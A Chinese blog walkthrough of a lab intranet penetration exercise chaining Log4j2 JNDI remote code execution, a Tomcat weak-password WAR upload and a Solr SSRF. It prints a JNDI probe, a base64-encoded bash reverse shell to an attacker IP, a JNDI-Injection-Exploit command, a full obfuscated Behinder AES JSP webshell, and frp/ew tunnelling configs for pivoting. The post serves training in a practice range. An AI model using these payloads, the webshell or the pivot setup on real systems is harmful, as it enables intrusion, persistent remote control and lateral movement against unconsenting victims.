内网环境模拟log4j2-rce-2021-44228+tomcat-pass-getshell+solr-stream.url-ssrf

1.各漏洞介绍

log4j2-rce-CVE-2021-44228

Apache Log4j2 是一个基于 Java 的日志记录工具。该工具重写了 Log4j 框架,并且引入了大量丰富的特性。该日志框架被大量用于业务系统开发,用来记录日志信息。 在大多数情况下,开发者可能会将用户输入导致的错误信息写入日志中。攻击者利用此特性可通过该漏洞构造特殊的数据请求包,最终触发远程代码执行。

tomcat-pass-getshell

Tomcat是Apache 软件基金会(Apache Software Foundation)的Jakarta 项目中的一个核心项目,由Apache、Sun 和其他一些公司及个人共同开发而成。

通过弱口令登录后台,部署war包geshell

solr-stream.url-ssrf

pache Solr是一个开源的搜索服务,使用Java语言开发。

Apache Solr的某些功能存在过滤不严格,在Apache Solr未开启认证的情况下,攻击者可直接构造特定请求开启特定配置,并最终造成SSRF或文件读取漏洞。

2.环境部署

只开放log4j2的端口,模拟内网渗透,只有拿到log4j2的shell后在往下打

3.渗透过程

3.1 log4j2-rce

(1)验证漏洞

先访问给出的端口172.16.16.246:52836

点击?????,然后抓包

构造pyload:

${jndi:ldap://7hn0br.dnslog.cn}

(从dnslog.cn上获取7hn0br.dnslog.cn)

这里url编码后点击发包,在dnslog中可以看到回显说明有漏洞

(2)设置反弹shell

IP

操作系统

靶机

172.16.16.246:56034

ubantu

攻击机

172.16.16.92

kali

netstat -nlpt #查看正在监听的端口

nc -lvnp 12345  #开始监听12345端口

a.构造反弹shell的payload
bash -i >& /dev/tcp/172.16.16.92/12345 0>&1
bash -i &> /dev/tcp/172.16.16.92/12345 0>&1 #&>和>&都是隐藏执行命令的

然后对其进行base64编码:链接

YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuMTYuOTIvMTIzNDUgMD4mMQ==
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuMTYuOTIvMTIzNDUgMD4mMQ==}|{base64,-d}|{bash,-i}
b.搭建恶意LDAP服务

用JDNI注入利用工具构建LDAP服务(java版本要求1.8.0.xxxx)

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuMTYuOTIvMTIzNDUgMD4mMQ==}|{base64,-d}|{bash,-i}" -A 172.16.16.92

然后根据JDK版本选择1.8,或者直接用没有jdk版本号的

${jndi:rmi://172.16.16.92:1099/3xrwib}
${jndi:rmi://172.16.16.92:1099/ot1vrw}
${jndi:ldap://172.16.16.92:1099/ot1vrw}

编码后访

发包,查看kali,成功反弹shell

然后去下载常用工具,这里是Linux系统,安装nmap、net-tools、vsftpd、vim、iputils-ping等。eg:apt-get install vim-gtk,必要时更新源

然后查看网卡:ifconfig,IP:192.168.16.3

对该网段进行内网扫描

然后发现内网IP:192.168.16.2

c.frp内网穿透

在内网利用wget下载frp最新版:

wget https://ip/文件名

或者kali开启一个http服务,然后在目标机上利用wget下载文件

kali中frps.toml的配置(之前版本是frps.ini)

# frp监听的端口,默认是7000,可以改成其他的
bindPort = 7000
webServer.port = 8088
webServer.addr = "0.0.0.0"
webServer.user = "admin"
webServer.password = "admin"
#bindPort:客户端和服务端连接的端口,在配置客户端的时候要用到。
#webServer.port:服务端可视化界面的端口,若使用7501端口,在配置完成服务启动后可以通过浏览器访问 x.x.x.x:7501。
#webServer.addr:本地访问地址
#webServer.user:打开服务端可视化界面的用户名,可自行设置。
#webServer.password:打开服务端可视化界面的密码,可自行设置。
#token:用于客户端和服务端连接的口令,可以自行设置
./frps -c ./frps.toml

如下图则正确

访问图形化管理界面端口

目标机-客户端frpc.ini

serverAddr = "172.16.16.92"
#serverAddr = "服务器IP地址或域名"
serverPort = 7000
 
[[proxies]]
name = "web"
type = "tcp"
localIP = "192.168.16.2"
localPort = 8080
remotePort = 8888

#serverPort:与远程绑定的端口相同
#serverAddr:公网服务器 IP 访问地址
#name:代理名称(随便填)
#type:  代理类型
#localIP:代理地址, 要转发到哪个地址(本地服务地址,填想要访问的内网资源的IP)
#localPort:代理端口, 要转发到哪个端口(本地服务端口)
#remotePort:  远程代理到公网的端口,服务端与客户端连接的桥梁 (此端口记得进行端口开放,避免连接不上)

配置文件中,samba和ssh指定的服务器端口remotePort记得一定要在服务器端放行!!

sudo firewall-cmd --permanent --add-port=8888/tcp
sudo firewall-cmd --reload

(端口开放则不管)

kali打开apache.server

将frpc和frpc.toml利用wget上传到目标机

wget http://172.16.16.92/frp_0.56.0_linux_amd64.tar.gz

进入frp目录,客户端运行

./frpc -c frpc.toml

查看服务器图形界面,连接成功

访问本地8888端口

这里就成功代理到内网IP192.168.16.2上去了

d.ew内网穿透

上传ew

wget http://172.16.16.92/ew.zip

正向:

(由于靶机上只有192的IP,它的服务是经过vulfocus服务器端口映射出来的,所以这里只能进行反向代理)

直接再kali攻击机中输入一下命令即可:
./ew_for_linux64 -s lcx_tran -l 8888 -f 192.168.16.3 -g 8080
以上意思是,将目标服务器的8080端口转发到我们攻击机的8888端口,然后访问攻击机的8888端口,即可连接目标服务器的8080端口

注意出现权限不够,记得用chomd修改ew_for_linux64的执行权限

反向:

./ew_for_linux64 -s rcsocks -l 1008 -e 8888

以上的意思是,我们将向1008提出的请求转发到8888端口

./ew_for_linux64 -s rssocks -d 172.16.16.92 -e 8888

以上的意思是,开启socks服务,访问172.16.16.92的8888端口就可以进行目标机器(192.168.16.3)的socks服务,出现以下字符显示成功

使用火狐浏览器访问资源,设置如下

然后之前扫描出内网资源,192.168.16.2:8080,就可以直接访问了

3.2 tomcat弱口令+war包文件上传

(1)漏洞复现

首先进来直接一个弱口令,tomcat:tomcat,直接登录后台

找到上传点

制作冰蝎木马,然后先将文件打包成zip,然后把后缀名修改为war.

<%! public byte[] Aj0U8(String Strings,String k) throws Exception { javax.crypto.Cipher B04S70 = javax.crypto.Cipher.getInstance("AES/ECB/PKCS5Padding");B04S70.init(javax.crypto.Cipher.DECRYPT_MODE, (javax.crypto.spec.SecretKeySpec) Class.forName("javax.crypto.spec.SecretKeySpec").getConstructor(byte[].class, String.class).newInstance(k.getBytes(), "AES"));byte[] bytes;try{int[] aa = new int[]{122, 113, 102, 113, 62, 101, 100, 121, 124, 62, 82, 113, 99, 117, 38, 36};String ccstr = "";for (int i = 0; i < aa.length; i++) { aa[i] = aa[i] ^ 0x010;ccstr = ccstr + (char) aa[i];}Class clazz = Class.forName(ccstr); Object decoder = clazz.getMethod("getDecoder").invoke(null);bytes =  (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, Strings);}catch (Throwable e){int[] aa = new int[]{99, 101, 126, 62, 125, 121, 99, 115, 62, 82, 81, 67, 85, 38, 36, 84, 117, 115, 127, 116, 117, 98};String ccstr = "";for (int i = 0; i < aa.length; i++) {aa[i] = aa[i] ^ 0x010;ccstr = ccstr + (char) aa[i];}Class clazz = Class.forName(ccstr);bytes = (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), Strings);}byte[] result = (byte[]) B04S70.getClass()./*Zh1i014BhR*/getDeclaredMethod/*Zh1i014BhR*/("doFinal", new Class[]{byte[].class}).invoke(B04S70,new Object[]{bytes});return result;} %><%  try {  String Kqj0Fw3 = "202cb962ac59075b";  session.putValue("u", Kqj0Fw3);  byte[] IvuQp4L = Aj0U8 (request.getReader().readLine(),Kqj0Fw3);  java./*Zh1i014BhR*/lang./*Zh1i014BhR*/reflect.Method Aj0U8 = Class.forName("java.lang.ClassLoader").getDeclaredMethod/*Zh1i014BhR*/("defineClass",byte[].class,int/**/.class,int/**/.class);  Aj0U8.setAccessible(true);  Class i = (Class)Aj0U8.invoke(Thread.currentThread()./*Zh1i014BhR*/getContextClassLoader(), IvuQp4L , 0, IvuQp4L.length);  Object QwI8 = i./*Zh1i014BhR*/newInstance();  QwI8.equals(pageContext); } catch (Exception e) {} %>

连接密码为123

打包文件改后缀名

上传文件,必须选择路径“/”才能成功上传

尝试访问

冰蝎连接

文件管理,/tmp下发现flag

查看网卡:ip a

发现新内网IP,192.168.17.3,然后利用wget上传fscan扫描该网段

然后在result.txt中查看

同网段IP:192.168.17.2:8983

(2)内网穿透

这里我直接在公网服务器上搭建

frps.toml

bindPort = 7000
webServer.port = 8088
webServer.addr = "0.0.0.0"
webServer.user = "admin"
webServer.password = "admin"
serverAddr = "xx.xxx.xxx.51"
#serverAddr = "你的公网服务器IP"
serverPort = 7000
 
[[proxies]]
name = "web"
type = "tcp"
localIP = "192.168.17.3"
localPort = 8983
remotePort = 9999

然后去访问IP:9999

3.3 solr-stream.url-ssrf

来到core admin页面添加报错,环境有问题,去vulfocus终端输入docker ps找到solr漏洞的容器

docker exec -it 092d138245cc /bin/bash

复制配置文件到core文件夹 -r:递归复制,用于目录的复制操作

cp -r server/solr/configsets/_default/conf /var/solr/data/new_core

刷新网页,环境就好了

访问下面地址,获取数据库名

name就是new_core,利用curl命令,先通过Solr提供的API可以开启远程开启文件流读取

然后进行文件读取

  • 27
    点赞
  • 28
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
靶场,是指为信息安全人员提供实战演练、渗透测试和攻防对抗等训练环境的虚拟或实体场地。在不同的领域中,靶场扮演着重要的角色,尤其是在网络安全领域,靶场成为培养和提高安全专业人员技能的重要平台。 首先,靶场为安全从业者提供了一个模拟真实网络环境的平台。通过构建类似实际网络的拓扑结构、部署各种安全设备和应用,靶场可以模拟出多样化的网络攻防场景。这使得安全人员能够在安全的环境中行实际操作,全面提升其实战能力。 其次,靶场是渗透测试和漏洞攻防演练的理想场所。在靶场中,安全专业人员可以模拟攻击者的行为,发现系统和应用的漏洞,并行渗透测试,从而及时修复和改防御机制。同时,这也为防御方提供了锻炼机会,通过对抗攻击提高防御能力。 靶场的搭建还促了团队协作与沟通。在攻防对抗中,往往需要多人协同作战,团队成员之间需要密切配合,共同制定攻击和防御策略。这有助于培养团队合作意识,提高协同作战的效率。 此外,靶场为学习者提供了一个安全的学习环境。在靶场中,学生可以通过实际操作掌握安全知识,了解攻击技术和防御策略。这样的学习方式比传统的理论课程更加生动直观,有助于深化对安全领域的理解。 最后,靶场也是安全社区交流的平台。在靶场中,安全从业者可以分享攻防经验,交流最新的安全威胁情报,共同探讨解决方案。这有助于建立更广泛的安全社区,推动整个行业的发展。 总体而言,靶场在信息安全领域具有重要地位,为安全专业人员提供了实战演练的机会,促了团队协作与沟通,为学习者提供了安全的学习环境,同时也是安全社区交流的重要平台。通过靶场的实践操作,安全从业者能够更好地应对不断演变的网络威胁,提高整体的安全水平。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值